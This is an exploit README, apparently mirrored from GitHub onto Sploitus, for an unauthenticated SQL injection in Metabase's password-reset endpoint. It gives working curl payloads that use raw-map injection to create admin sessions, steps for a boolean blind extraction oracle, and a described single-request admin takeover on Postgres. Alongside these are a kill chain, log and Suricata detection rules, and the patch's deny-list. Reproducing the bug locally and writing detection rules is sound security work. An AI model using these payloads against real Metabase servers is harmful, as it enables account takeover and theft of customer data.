Sploitus

Exploit for GHSA-vwf4-m7j8-wcjf

githubexploit Β· 2026-08-10

Exploit Code

README239 lines
## https://sploitus.com/exploit?id=10D77BE8-4452-54F5-8862-226E2CA93E1D
# GHSA-vwf4-m7j8-wcjf β€” Metabase Pre-Auth SQL Injection

**Unauthenticated SQL injection in `POST /api/session/reset_password` via mass parameter pollution through HoneySQL raw-map rendering.**

| Field | Value |
|---|---|
| Advisory | [GHSA-vwf4-m7j8-wcjf](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf) |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Bug class | Unauthenticated SQL injection |
| Auth required | None |
| Affected | Metabase >= 0.58.0 (OSS + Enterprise, Cloud + Self-hosted) |
| Fixed in | 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5 |
| Exploited in the wild | Yes β€” used to exfiltrate user data from Metabase Cloud customers |

## Real-World Impact

This vulnerability was exploited as a 0-day against multiple Metabase customers before the patch existed. Privy (web3 auth infrastructure provider) disclosed that an attacker used this vulnerability to access end-user email addresses and custom metadata from their Metabase analytics instance. Privy's wallet infrastructure was unaffected due to system segregation.

## TL;DR

Three independently harmless design decisions compose into a pre-auth SQLi:

1. **Malli open-map schema** β€” extra JSON keys (`user-id`) pass validation and reach the handler
2. **Unsafe `merge` in `login!` :around method** β€” user-controlled keys survive into the auth pipeline
3. **HoneySQL raw-map rendering** β€” `{"raw": "(SELECT ...)"}` becomes inline SQL in a WHERE clause

The injection resolves an arbitrary user and creates an admin session as a **side-effect** β€” even though the HTTP response is always 400. On Postgres backends (Metabase Cloud), the attacker can plant a session with a known key via `INSERT...RETURNING`, achieving full admin takeover in a single request. Admin access grants arbitrary SQL execution on all connected data warehouses.

## Reproduction

### Prerequisites

- Docker
- curl
- Java (for H2 database verification)

### Step 1 β€” Start vulnerable Metabase

```bash
docker run -d --name mb-vuln -p 3000:3000 metabase/metabase:v0.63.2
```

Wait ~60s for startup:

```bash
curl -s http://localhost:3000/api/health
# {"status":"ok"}
```

### Step 2 β€” Complete setup

```bash
TOKEN=$(curl -s http://localhost:3000/api/session/properties | python3 -c "import sys,json; print(json.load(sys.stdin)['setup-token'])")

curl -s http://localhost:3000/api/setup \
  -H 'Content-Type: application/json' \
  -d '{"token":"'"$TOKEN"'","user":{"email":"admin@localhost.test","password":"SuperSecret_9!aB","first_name":"Admin","last_name":"Test","site_name":"Test"},"prefs":{"site_name":"Test","site_locale":"en","allow_tracking":false}}'
```

### Step 3 β€” Fire the injection

```bash
curl -v http://localhost:3000/api/session/reset_password \
  -H 'Content-Type: application/json' \
  -d '{
    "token": "1_aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "password": "SuperComplex_P@ssw0rd_9!aB",
    "user-id": {"raw": "(SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)"}
  }'
```

**Expected**: `HTTP 400` with `{"errors":{"password":"Invalid reset token"}}`

The 400 is expected β€” the handler rejects because the token is fake. But the admin session was already created as a side-effect.

### Step 4 β€” Verify via log signature

```bash
docker logs mb-vuln 2>&1 | grep "reset_password" | tail -5
```

Look for **17 DB calls** β€” this confirms the SQL injection resolved a user and the full login pipeline ran (including `create-session!`). Normal requests show 1-2 DB calls.

### Step 5 β€” Verify via DB diff (definitive)

Snapshot the database before and after injection:

```bash
# Snapshot BEFORE
docker stop mb-vuln
docker cp mb-vuln:/metabase.db/metabase.db.mv.db /tmp/before.mv.db
docker cp mb-vuln:/app/metabase.jar /tmp/metabase.jar
docker start mb-vuln
# Wait for startup...

# Inject 3 times
for i in 1 2 3; do
  curl -s -o /dev/null http://localhost:3000/api/session/reset_password \
    -H 'Content-Type: application/json' \
    -d '{"token":"1_aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"(SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)"}}'
done

# Snapshot AFTER
docker stop mb-vuln
docker cp mb-vuln:/metabase.db/metabase.db.mv.db /tmp/after.mv.db

# Compare
echo "=== BEFORE ==="
java -cp /tmp/metabase.jar org.h2.tools.Shell \
  -url "jdbc:h2:/tmp/before" -user "" -password "" \
  -sql "SELECT COUNT(*) AS session_count FROM CORE_SESSION"

echo "=== AFTER ==="
java -cp /tmp/metabase.jar org.h2.tools.Shell \
  -url "jdbc:h2:/tmp/after" -user "" -password "" \
  -sql "SELECT COUNT(*) AS session_count FROM CORE_SESSION; SELECT ID, USER_ID, CREATED_AT FROM CORE_SESSION ORDER BY CREATED_AT DESC LIMIT 5"
```

Session count increases by exactly 3, with 3 new rows for `USER_ID = 1` (the admin).

### Step 6 β€” Boolean blind SQLi

```bash
# TRUE condition β€” resolves admin (17 DB calls)
curl -s http://localhost:3000/api/session/reset_password \
  -H 'Content-Type: application/json' \
  -d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"CASEWHEN(1=1, (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE), 99999)"}}'

# FALSE condition β€” resolves nobody (2 DB calls)
curl -s http://localhost:3000/api/session/reset_password \
  -H 'Content-Type: application/json' \
  -d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"CASEWHEN(1=0, (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE), 99999)"}}'

docker logs mb-vuln 2>&1 | grep "reset_password" | tail -4
```

17 vs 2 DB calls confirms the boolean oracle works β€” enables bit-by-bit extraction of arbitrary data.

### Step 7 β€” Verify the fix

```bash
docker run -d --name mb-fix -p 3001:3000 metabase/metabase:v0.63.5
# After setup...

curl -v http://localhost:3001/api/session/reset_password \
  -H 'Content-Type: application/json' \
  -d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"(SELECT 1)"}}'
```

Fixed version responds with `"disallowed key"` and **0 DB calls**.

### Cleanup

```bash
docker rm -f mb-vuln mb-fix
rm /tmp/before.mv.db /tmp/after.mv.db /tmp/metabase.jar
```

## Kill Chain

```
POST /api/session/reset_password
  Body: {"token": "1_fake-uuid", "password": "...", "user-id": {"raw": "(SELECT ...)"}}

  Malli validation ──── passes (open-map schema, user-id is extra key)
         β”‚
  with-fallback β†’ login! :around method
         β”‚
  (merge request (authenticate ...))
    authenticate β†’ {:success? false}    (bad token)
    merge keeps user-id = {:raw "..."}  (user key survives)
         β”‚
  (t2/select-one :model/User :id {:raw "(SELECT ...)"})
    HoneySQL renders: WHERE "ID" = (SELECT ...)
    ──── SQL INJECTION ────
         β”‚
  User found β†’ create-session! fires β†’ new admin session in DB
         β”‚
  Handler checks :success? β†’ false β†’ returns 400
  (session already created as side-effect)
```

## Impact by Backend

| Backend | SQLi | Session creation | Full admin takeover |
|---|---|---|---|
| H2 (default) | Yes | Yes (side-effect) | No β€” H2 blocks DML in subqueries; session key not extractable. Blind data extraction via boolean oracle. |
| PostgreSQL (Cloud/prod) | Yes | Yes | **Yes** β€” `INSERT...RETURNING` in subquery plants a session with a known key. One request to admin. |

## Detection

**Log signature** (anomalous DB call count):
```
POST /api/session/reset_password 400 Xms (17 DB calls) {:metabase-user-id nil}
```

**Suricata rule**:
```
alert http any any -> any any (
  msg:"GHSA-vwf4-m7j8-wcjf Metabase reset_password SQLi";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/api/session/reset_password";
  http.request_body; content:"user-id";
  sid:2026081001; rev:1;
)
```

**WAF mitigation**: Block `POST /api/session/reset_password` bodies containing any key besides `token` and `password`.

## The Fix

The patch in `src/metabase/auth_identity/provider.clj` adds a deny-list of pipeline-internal keys stripped from user input before the merge:

```clojure
(def authenticate-owned-keys
  [:user-id :user_id :user-data :auth-identity :provider-id
   :success? :session :error :message
   :mfa/pending? :mfa/methods :mfa/first-factor
   :jwt-data :claims :tenant-slug :tenant-attributes
   :user-provisioning-enabled?])

;; Before merge:
(apply dissoc request authenticate-owned-keys)
```

Plus `(true? (:success? ...))` strict boolean check and `(pos-int? user-id)` type validation.

## Files

| File | Description |
|---|---|
| [poc.py](poc.py) | Automated PoC script |
| [report.md](report.md) | Detailed vulnerability report |

## Disclaimer

This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.